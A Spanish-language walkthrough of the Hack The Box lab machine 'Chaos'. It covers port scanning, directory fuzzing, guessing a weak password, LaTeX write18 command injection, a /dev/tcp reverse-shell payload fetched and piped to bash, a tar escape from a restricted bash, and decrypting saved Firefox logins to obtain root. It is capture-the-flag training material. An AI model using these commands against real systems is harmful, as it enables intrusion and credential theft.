Resumen
Saludos, en esta oportunidad vamos a resolver la máquina de Hack The Box llamada Chaos, la cual tiene una dificultad media. Para lograr vulnerarla realizaremos lo siguiente:
- Fuzzing de directorios web.
- Adivinar credenciales demasiado débiles.
- Utilización de claws-mail (abusando de email).
- Decrypt de un mensaje.
- Restricted bash bypass.
- Extracción de credenciales de una sesión de navegador.
Reconocimiento y Enumeración
En primer lugar, se comprueba la correcta conexión en la VPN con la máquina utilizando ping
:
1
2
3
4
ping -c 1 10.10.10.120
PING 10.10.10.120 (10.10.10.120) 56(84) bytes of data.
64 bytes from 10.10.10.120: icmp_seq=1 ttl=63 time=144 ms
Se observa que existe una correcta conexión con la máquina.
Para realizar un reconocimiento activo se utilizará la herramienta nmap
, en búsqueda de puertos abiertos en todo el rango (65535) y aplicando el parámetro -sS
el cual permite aumentar el rendimiento del escaneo, haciendo que las conexiones no se realicen totalmente (haciendo solo syn syn-ack):
1
sudo nmap -p- -sS --open -min-rate 5000 10.10.10.120 -oG Port
Al finalizar el escaneo, se pueden observar los puertos abiertos de la máquina víctima:
1
2
3
4
5
6
7
PORT STATE SERVICE
80/tcp open http
110/tcp open pop3
143/tcp open imap
993/tcp open imaps
995/tcp open pop3s
10000/tcp open snet-sensor-mgmt
Realizamos un escaneo de los servicios expuestos utilizando nmap
:
1
nmap -sCV -p80,110,143,993,995,10000 10.10.10.120 -oN ServiceScan
Como resultado del escaneo tenemos:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.34 ((Ubuntu))
|_http-server-header: Apache/2.4.34 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
110/tcp open pop3 Dovecot pop3d
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=chaos
| Subject Alternative Name: DNS:chaos
| Not valid before: 2018-10-28T10:01:49
|_Not valid after: 2028-10-25T10:01:49
|_pop3-capabilities: STLS PIPELINING SASL TOP UIDL AUTH-RESP-CODE RESP-CODES CAPA
143/tcp open imap Dovecot imapd (Ubuntu)
|_imap-capabilities: IMAP4rev1 more OK LITERAL+ have IDLE LOGIN-REFERRALS SASL-IR listed capabilities Pre-login LOGINDISABLEDA0001 post-login ID ENABLE STARTTLS
| ssl-cert: Subject: commonName=chaos
| Subject Alternative Name: DNS:chaos
| Not valid before: 2018-10-28T10:01:49
|_Not valid after: 2028-10-25T10:01:49
|_ssl-date: TLS randomness does not represent time
993/tcp open ssl/imap Dovecot imapd (Ubuntu)
|_imap-capabilities: IMAP4rev1 OK LITERAL+ more IDLE LOGIN-REFERRALS have AUTH=PLAINA0001 capabilities listed ENABLE post-login ID SASL-IR Pre-login
| ssl-cert: Subject: commonName=chaos
| Subject Alternative Name: DNS:chaos
| Not valid before: 2018-10-28T10:01:49
|_Not valid after: 2028-10-25T10:01:49
|_ssl-date: TLS randomness does not represent time
995/tcp open ssl/pop3 Dovecot pop3d
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=chaos
| Subject Alternative Name: DNS:chaos
| Not valid before: 2018-10-28T10:01:49
|_Not valid after: 2028-10-25T10:01:49
|_pop3-capabilities: USER PIPELINING SASL(PLAIN) TOP UIDL AUTH-RESP-CODE RESP-CODES CAPA
10000/tcp open http MiniServ 1.890 (Webmin httpd)
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Observamos un montón de protocolos de email que los veremos después, vemos el puerto 80 con un servicio http, por lo tanto, vamos a usar whatweb
para enumerar información:
1
2
whatweb 10.10.10.120
http://10.10.10.120 [200 OK] Apache[2.4.34], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.34 (Ubuntu)], IP[10.10.10.120]
No vemos casi nada, vamos a revisar la web:
Observamos que no hay nada, sin embargo, leyendo lo que dice quizás se está aplicando virtual hosting y tenemos que entrar por un dominio, para ello tenemos que encontrar como se llama.
Si nos fijamos en la captura de nmap:
1
2
ssl-cert: Subject: commonName=chaos
| Subject Alternative Name: DNS:chaos
Vemos el dominio chaos, por convenio normalmente siempre terminan en .htb así que vamos a introducir todo eso en el /etc/hosts:
1
2
3
4
5
6
127.0.0.1 localhost
127.0.1.1 kali
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
10.10.10.120 chaos.htb
Con esto listo, vamos a ver la web:
Ahora si, por lo tanto, se estaba aplicando virutal hosting.
Si inspeccionamos la web no encontramos nada de utilidad, por mientras vamos a fuzzear directorios utilizando wfuzz
:
1
wfuzz -c --hc=404 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -t 200 http://chaos.htb/FUZZ
Vamos a investigar el otro puerto http:
Vamos a ingresar donde nos dicen:
Encontramos un panel de webmin, sin embargo, no podemos hacer mucho (podría pensarse en shelllock porque es .cgi pero no es el caso).
Si volvemos al fuzzing, no encontramos nada de interés.
Pero como se está aplicando virtual hosting vamos a fuzzear por la dirección ip:
1
wfuzz -c --hc=404 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -t 200 http://10.10.10.120/FUZZ
Encontramos algo:
1
000000793: 301 9 L 28 W 309 Ch "wp"
Podría tratarse de una de las direcciones de WordPress, vamos a verlo:
Encontramos una página con directory listing, si hacemos click en wordpress nos redirige hacia otra página:
Explotación
Vemos una sección donde pide contraseña, vamos a poner las típicas como password, pass, pero no hay resultado, si hacemos click en el post:
Vemos el nombre del autor del post human, como último intento manual utilizaremos human:
Vemos que esa era la contraseña, nos da unas credenciales de webmail, vamos a probarlas, para ello haremos uso de claws-mail para intentar conectados por imap:
Ingresamos la información que tenemos y entramos:
Vemos que tenemos varias carpetas, vamos a ir entrando una por una:
Encontramos un mail donde envía un archivo encriptado y el código con el que lo enviaron. Vamos a revisarlo:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
def encrypt(key, filename):
chunksize = 64*1024
outputFile = "en" + filename
filesize = str(os.path.getsize(filename)).zfill(16)
IV =Random.new().read(16)
encryptor = AES.new(key, AES.MODE_CBC, IV)
with open(filename, 'rb') as infile:
with open(outputFile, 'wb') as outfile:
outfile.write(filesize.encode('utf-8'))
outfile.write(IV)
while True:
chunk = infile.read(chunksize)
if len(chunk) == 0:
break
elif len(chunk) % 16 != 0:
chunk += b' ' * (16 - (len(chunk) % 16))
outfile.write(encryptor.encrypt(chunk))
def getKey(password):
hasher = SHA256.new(password.encode('utf-8'))
return hasher.digest()
Sin embargo, no buscaremos la forma de crear el decrypt, vamos a buscarlo por internet, encontramos este github que salió con nuestra búsqueda, la cual fue copypaste del código.
Vamos a utilizar el decrypt.py:
1
2
3
python decrypt.py
Enter filename: enim_msg.txt
Enter password: sahay
Esto nos crea un archivo:
1
2
cat im_msg.txt
SGlpIFNhaGF5CgpQbGVhc2UgY2hlY2sgb3VyIG5ldyBzZXJ2aWNlIHdoaWNoIGNyZWF0ZSBwZGYKCnAucyAtIEFzIHlvdSB0b2xkIG1lIHRvIGVuY3J5cHQgaW1wb3J0YW50IG1zZywgaSBkaWQgOikKCmh0dHA6Ly9jaGFvcy5odGIvSjAwX3cxbGxfZjFOZF9uMDdIMW45X0gzcjMKClRoYW5rcywKQXl1c2gK
Que es en base64, asi que lo vamos a decodear:
1
2
3
4
5
6
7
8
9
10
11
base64 -d im_msg.txt
Hii Sahay
Please check our new service which create pdf
p.s - As you told me to encrypt important msg, i did :)
http://chaos.htb/J00_w1ll_f1Nd_n07H1n9_H3r3
Thanks,
Ayush
Vemos que al parecer hay un servicio para crear pdf y nos dan el directorio, vamos a verlo:
Si hacemos pruebas no vemos nada, vamos a intentar fuzzear este directorio por si encontramos alguna parte donde se puedan ver los pdf creados:
1
wfuzz -c --hc=404 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -t 200 http://chaos.htb/J00_w1ll_f1Nd_n07H1n9_H3r3/FUZZ
Encontramos varios:
1
2
3
4
5
6
000000222: 301 9 L 28 W 331 Ch "doc"
00000013: 200 54 L 147 W 2656 Ch "#"
000000651: 301 9 L 28 W 334 Ch "source"
000000081: 301 9 L 28 W 337 Ch "templates"
000000143: 301 9 L 28 W 331 Ch "pdf"
000014361: 301 9 L 28 W 331 Ch "tex
Hay uno llamado doc, si nos metemos:
Encontramos cosas de Latex, será que hacen los documentos con ello?
Vamos al más interesante que se llama pdf:
Encontramos un montón de pdf, acá debe ser donde se almacenan, vamos a crear un pdf con la palabra hola y buscaremos si está aquí:
Efectivamente, se encuentra el pdf, vamos a analizar la petición por burpsuite
:
Vemos que si están empleando latex para crear los documentos, vamos a buscar formas de aprovecharnos de eso.
Vemos que hay una forma de ejecutar comandos, vamos a utilizar este:
1
\immediate\write18{id}
Observamos que tenemos ejecución remota de comandos, vamos entonces a ganar acceso al sistema.
Esto lo realizaremos como siempre, compartiendo un index.html malicioso por un servidor http con python, haremos que la máquina víctima intente acceder a ese recurso y lo pipee con bash, mientras escuchamos conexión por netcat:
index.html:
1
2
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.17/1234 0>&1
Vamos a mandar el comando:
En nuestro servidor en python:
1
2
3
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.120 - - [17/Feb/2023 16:26:33] "GET / HTTP/1.1" 200 -
Y en el netcat:
1
2
3
4
5
6
nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.17] from (UNKNOWN) [10.10.10.120] 59318
bash: cannot set terminal process group (1069): Inappropriate ioctl for device
bash: no job control in this shell
www-data@chaos:/var/www/main/J00_w1ll_f1Nd_n07H1n9_H3r3/compile$
Tenemos acceso al sistema.
Pero no tenemos acceso a las carpetas, pero recordamos que tenemos una credencial de ayush, vamos a ver si la han reutilizado:
1
2
3
www-data@chaos:/home$ su ayush
Password:
ayush@chaos:/home$
Vamos a ver la flag:
1
2
rbash: /usr/lib/command-not-found: restricted: cannot specify `/' in command names
ayush@chaos:/home$
Sin embargo, no podemos debido a que tenemos la bash restringida, si hacemos doble tab:
1
2
3
4
5
6
7
8
9
10
11
ayush@chaos:/home$
! break coproc esac getopts mapfile set true
./ builtin declare eval hash ping shift type
: caller dir exec help popd shopt typeset
[ case dirs exit history printf source ulimit
[[ cd disown export if pushd suspend umask
]] command do false in pwd tar unalias
{ command_not_found_handle done fc jobs read test unset
} compgen echo fg kill readarray then until
alias complete elif fi let readonly time wait
bg compopt else for local return times while
Vemos todos los que podemos utilizar, hay uno en especial que es bastante interesante, corresponde al tar, pues si buscamos en la página web de GTFobins encontramos con que tar permite dar una shell, en este caso los permitiría saltarnos la rbash:
1
2
3
ayush@chaos:/home$ tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
tar: Removing leading `/' from member names
bash: groups: command not found
1
2
3
4
5
Si intentamos realizar un comando:
ayush@chaos:/home$ ls
Command 'ls' is available in '/bin/ls'
The command could not be located because '/bin' is not included in the PATH environment variable.
Vemos que ya no tenemos resticción, sin embargo, faltan rutas en el path, por lo tanto, vamos a cambiar eso:
1
ayush@chaos:/home$ export PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/local/games:/usr/games
Utilizamos la variable path de nuestro equipo.
Ahora intentamos realizar comando:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
ayush@chaos:/home$ cd ayush/
ayush@chaos:~$ ls -la
total 40
drwx------ 6 ayush ayush 4096 Feb 17 20:43 .
drwxr-xr-x 4 root root 4096 Jun 30 2022 ..
drwxr-xr-x 2 root root 4096 Jun 30 2022 .app
lrwxrwxrwx 1 root root 9 Jul 12 2022 .bash_history -> /dev/null
-rw-r--r-- 1 ayush ayush 220 Oct 28 2018 .bash_logout
-rwxr-xr-x 1 root root 22 Oct 28 2018 .bashrc
drwx------ 3 ayush ayush 4096 Feb 17 20:43 .gnupg
drwx------ 3 ayush ayush 4096 Feb 17 20:47 mail
drwx------ 4 ayush ayush 4096 Jun 30 2022 .mozilla
-rw-r--r-- 1 ayush ayush 807 Oct 28 2018 .profile
-rw------- 1 ayush ayush 33 Feb 17 18:41 user.txt
Vemos que ya podemos realizar todo con comodidad y nos hemos saltado le rbash.
Vemos algo interesante, el .mozilla, pero ahora vamos a ver la flag de usuario:
1
2
ayush@chaos:~$ cat user.txt
eeca3d989309ee3028a35
¡Bien! tenemos la flag, ahora tenemos que escalar privilegios.
Escalada de privilegios
Vimos un directorio firefox, antes de realizar otra cosa vamos a revisarlo, pues podrían existir cosas interesantes:
1
2
ayush@chaos:~/.mozilla/firefox$ ls
bzo7sjt1.default 'Crash Reports' profiles.ini
Vemos que hay una sesión, podría existir información que nos interese.
Si filtramos por ejemplo por password:
1
2
3
4
ayush@chaos:~/.mozilla/firefox/bzo7sjt1.default$ grep -r -i password 2>/dev/null
Binary file webappsstore.sqlite matches
logins.json:{"nextId":3,"logins":[{"id":2,"hostname":"https://chaos.htb:10000","httpRealm":null,"formSubmitURL":"https://chaos.htb:10000","usernameField":"user","passwordField":"pass","encryptedUsername":"MDIEEPgAAAAAAAAAAAAAAAAAAAEwFAYIKoZIhvcNAwcECDSAazrlUMZFBAhbsMDAlL9iaw==","encryptedPassword":"MDoEEPgAAAAAAAAAAAAAAAAAAAEwFAYIKoZIhvcNAwcECNx7bW1TuuCuBBAP8YwnxCZH0+pLo6cJJxnb","guid":"{cb6cd202-0ff8-4de5-85df-e0b8a0f18778}","encType":1,"timeCreated":1540642202692,"timeLastUsed":1540642202692,"timePasswordChanged":1540642202692,"timesUsed":1}],"disabledHosts":[],"version":2}
Binary file key4.db matches
Vemos cosas, asi que vamos a utilizar una heramienta llamada firefox decrypt
que está en github esto nos permitirá extraer las contraseñas que se encuentren almacenadas.
Vamos primero a abrir un servidor http con python en la máquina víctima y vamos a descargar todo lo que está en ese directorio.
1
2
ayush@chaos:~/.mozilla/firefox/bzo7sjt1.default$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/)
Luego, en nuestras máquina:
1
2
3
4
5
6
7
8
9
wget -r chaos.htb:8000
--2023-02-17 17:37:11-- http://chaos.htb:8000/
Resolving chaos.htb (chaos.htb)... 10.10.10.120
Connecting to chaos.htb (chaos.htb)|10.10.10.120|:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2983 (2.9K) [text/html]
Saving to: ‘chaos.htb:8000/index.html’
chaos.htb:8000/index.html 100%[=====================================================================================================================>] 2.91K --.-KB/s in 0.002s
Lo descargaremos todo.
Luego, vamos a utiliar el script dandole la ruta donde están los archivos:
1
2
3
4
5
6
python3 firefox_decrypt.py ../chaos.htb:8000
2023-02-17 17:38:57,539 - WARNING - profile.ini not found in ../chaos.htb:8000
2023-02-17 17:38:57,539 - WARNING - Continuing and assuming '../chaos.htb:8000' is a profile location
Master Password for profile ../chaos.htb:8000:
Nos pide una contraseña, vamos a introducir la que sabemos:
1
2
3
4
5
6
7
8
9
python3 firefox_decrypt.py ../chaos.htb:8000
2023-02-17 17:39:35,187 - WARNING - profile.ini not found in ../chaos.htb:8000
2023-02-17 17:39:35,188 - WARNING - Continuing and assuming '../chaos.htb:8000' is a profile location
Master Password for profile ../chaos.htb:8000:
Website: https://chaos.htb:10000
Username: 'root'
Password: 'Thiv8wrej~'
Y ha funcionado, tenemos un usuario y contraseña, vamos a probarlas:
1
2
3
4
5
6
ayush@chaos:~/.mozilla/firefox/bzo7sjt1.default$ su root
Password:
root@chaos:/home/ayush/.mozilla/firefox/bzo7sjt1.default# cd /root/
root@chaos:~# cat root.txt
e893768eae0135bb85dfeb75
¡Listo! Nos convertimos en root, hemos terminado la máquina.
Nos vemos, hasta la próxima.